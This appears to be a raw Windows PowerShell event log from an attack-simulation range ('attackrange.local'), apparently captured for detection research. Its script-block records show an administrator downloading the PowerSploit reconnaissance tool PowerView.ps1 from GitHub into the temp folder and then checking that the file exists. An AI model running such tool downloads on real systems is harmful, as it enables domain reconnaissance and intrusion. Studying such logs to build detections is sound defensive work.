Host ID = b1e6e791-c36d-4ed6-a28f-4c2a9102ba88
Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe & {Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
Engine Version = 5.1.14393.4402
Runspace ID = deee7381-0f36-40ce-8695-b013c581f049
Pipeline ID = 1
Command Name = Invoke-WebRequest
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 15
User = ATTACKRANGE\administrator
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478676
Keywords=None
Message=Completed invocation of ScriptBlock ID: 15de2fcb-33ca-4d75-8a80-3a85f2380887
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478675
Keywords=None
Message=Started invocation of ScriptBlock ID: 15de2fcb-33ca-4d75-8a80-3a85f2380887
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478674
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8159c94-195b-4aaa-a73a-e41e38f566b9
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478673
Keywords=None
Message=Started invocation of ScriptBlock ID: d8159c94-195b-4aaa-a73a-e41e38f566b9
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478672
Keywords=None
Message=Started invocation of ScriptBlock ID: 0153528c-291e-46d1-9c23-eca4b32e1527
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478671
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
ScriptBlock ID: 0153528c-291e-46d1-9c23-eca4b32e1527
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478670
Keywords=None
Message=Started invocation of ScriptBlock ID: f2f0af6f-bba5-4e15-9964-83ebb492ddea
Runspace ID: deee7381-0f36-40ce-8695-b013c581f049
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478669
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "$env:TEMP\PowerView.ps1"}
ScriptBlock ID: f2f0af6f-bba5-4e15-9964-83ebb492ddea
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478668
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478667
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 5920 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478666
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478665
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478664
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478663
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd9fc933-7589-4630-8745-10c421a875c0
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478662
Keywords=None
Message=Completed invocation of ScriptBlock ID: 66a0ffc4-4d98-4bf9-b237-4ce991f96dfa
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 175d3cc1-eb11-42e2-906d-57e04bd9677a
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478660
Keywords=None
Message=Started invocation of ScriptBlock ID: 175d3cc1-eb11-42e2-906d-57e04bd9677a
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478659
Keywords=None
Message=Started invocation of ScriptBlock ID: 66a0ffc4-4d98-4bf9-b237-4ce991f96dfa
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478658
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: 66a0ffc4-4d98-4bf9-b237-4ce991f96dfa
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478657
Keywords=None
Message=Started invocation of ScriptBlock ID: cd9fc933-7589-4630-8745-10c421a875c0
Runspace ID: e9801425-3304-44a1-ab83-d1399d88c692
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1478656
Keywords=None
Message=Creating Scriptblock text (1 of 1):
& {if (Test-Path $env:TEMP\PowerView.ps1) {exit 0} else {exit 1}}
ScriptBlock ID: cd9fc933-7589-4630-8745-10c421a875c0
Path:
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40962
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Stop
RecordNumber=1478655
Keywords=None
Message=PowerShell console is ready for user input
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=53504
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Named Pipe IPC
OpCode=Open (async)
RecordNumber=1478654
Keywords=None
Message=Windows PowerShell has started an IPC listening thread on process: 8148 in AppDomain: DefaultAppDomain.
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=40961
EventType=4
Type=Information
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=PowerShell Console Startup
OpCode=Start
RecordNumber=1478653
Keywords=None
Message=PowerShell console is starting up
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478652
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478651
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478650
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478649
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478648
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478647
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478646
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478644
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478642
Keywords=None
Message=Started invocation of ScriptBlock ID: 93d779ef-941d-4e00-98f9-278cc93e6e44
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478641
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478640
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478639
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478638
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478637
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478636
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478635
Keywords=None
Message=Started invocation of ScriptBlock ID: 5ee3323a-da1a-4e88-80c7-27401c836ac4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478634
Keywords=None
Message=Completed invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478632
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478631
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478630
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478629
Keywords=None
Message=Started invocation of ScriptBlock ID: b1ab4dc0-74ec-44f5-99a1-740f0f3055f2
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478628
Keywords=None
Message=Started invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478626
Keywords=None
Message=Started invocation of ScriptBlock ID: 18112540-b6c5-4351-8b4f-3433ca6f80bb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478625
Keywords=None
Message=Completed invocation of ScriptBlock ID: a8e4500d-dea0-4c12-9b07-1211b99fa9eb
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1478624
Keywords=None
Message=Completed invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1478623
Keywords=None
Message=Started invocation of ScriptBlock ID: a94aafd9-20d5-4b97-804a-d64f984a7294
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
